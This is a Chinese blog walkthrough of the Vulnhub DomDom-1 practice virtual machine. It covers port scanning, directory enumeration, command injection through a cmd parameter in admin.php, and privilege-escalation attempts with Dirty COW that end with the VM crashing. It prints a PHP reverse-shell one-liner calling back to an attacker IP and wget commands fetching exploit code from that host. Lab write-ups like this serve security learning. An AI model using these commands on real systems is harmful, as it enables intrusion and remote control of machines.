Vulnhub DomDom-1(靶机玩乐2023-11-30)

发布时间 2023-11-30 18:09:33作者: justdoIT*

靶机下载地址:https://www.vulnhub.com/entry/domdom-1,328/

第一步:扫一下同网段接口IP:

 第二步:nmap扫描版本端口详细信息并输出

 

 第三步:访问80端口服务

 第四步:简单做做dirb目录遍历,也可以安装gobuster等做目录扫描:https://blog.csdn.net/qq_22597955/article/details/118553139

gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php     

gobuster用法:https://blog.csdn.net/nzjdsds/article/details/86756828

 第五步:访问http://192.168.177.130/admin.php

 第六步:填写用户名、密码后通过 BurpSuite 抓取登录数据包,改成admin.php再看

发现 JavaScript 代码中可传递cmd参数

 添加&cmd=id

 第七步:反弹shell搞起来

反弹shell参考:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet、
https://forum.ywhack.com/shell.php等

php -r '$sock=fsockopen("192.168.177.129",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

通过 PHP 执行经 URL 编码后的反弹shell命令;URL编码:https://tool.chinaz.com/tools/urlencode.aspx

 

 获取ttyshell(可回显),python3,bin/bash

 第八步:权限提升

方式1:审核是否存在内核漏洞:https://github.com/The-Z-Labs/linux-exploit-suggester

 

 通过 wget 下载 linux-exploit-suggester.sh 并赋予执行权限

wget http://192.168.177.129/linux-exploit-suggester.sh

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

ditycow提权(本地系统:https://www.exploit-db.com/download/40616;docker提:https://github.com/gebl/dirtycow-docker-vdso.git

 wget http://192.168.177.129/40839

 

 dirtycow跟dirtycow2碰壁,大概率编译环境问题

 wget http://192.168.177.129/40839.c本地编译情况如下:

 虚拟机死机